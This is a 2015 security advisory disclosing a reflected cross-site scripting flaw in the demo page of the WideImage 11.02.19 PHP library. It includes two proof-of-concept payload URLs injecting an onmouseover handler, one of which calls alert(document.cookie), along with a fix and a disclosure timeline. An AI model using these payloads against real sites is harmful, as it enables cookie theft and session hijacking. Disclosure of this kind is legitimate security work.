WideImage 11.02.19 Cross Site Scripting

`WideImage Demo Code Cross Site Scripting (XSS)  
  
Description:  
WideImage is an object-oriented library for image manipulation.   
It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats.  
  
Type of vulnerability:   
Reflected XSS  
  
Threat level:  
Medium  
  
Tested on:   
Windows 8.1  
  
Product:   
WideImage - An Open Source PHP library for image manipulation.  
  
Version:   
11.02.19  
  
Build date:   
2011-02-19  
  
Live vulnerable URL during discovery:  
http://wideimage.sourceforge.net/wp-content/current/demo/index.php  
  
How to replicate this vulnerability:  
Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject  
JavaScript with:  
  
Payload URL 1:  
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo  
  
Payload URL 1:  
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo  
  
Workaround/Fix:  
To fix this, please remove the two following directories:  
public_html/wideimage/demo  
public_html/wideimage/test  
  
Disclosure Time-line:  
Notified vendor: July 04, 2015  
Response from vendor: No response.   
Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it."  
Fix: Not fixed at this time (July 07, 2015)  
WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/  
  
Credits and Copyright:  
This vulnerability was discovered by Mohammad Sikkandar Sha.  
It's licensed under the creative commons attribution license 4.0.  
  
Mohammad Sikkandar Sha, 2015-July-07, Email: [email protected]  
  
  
`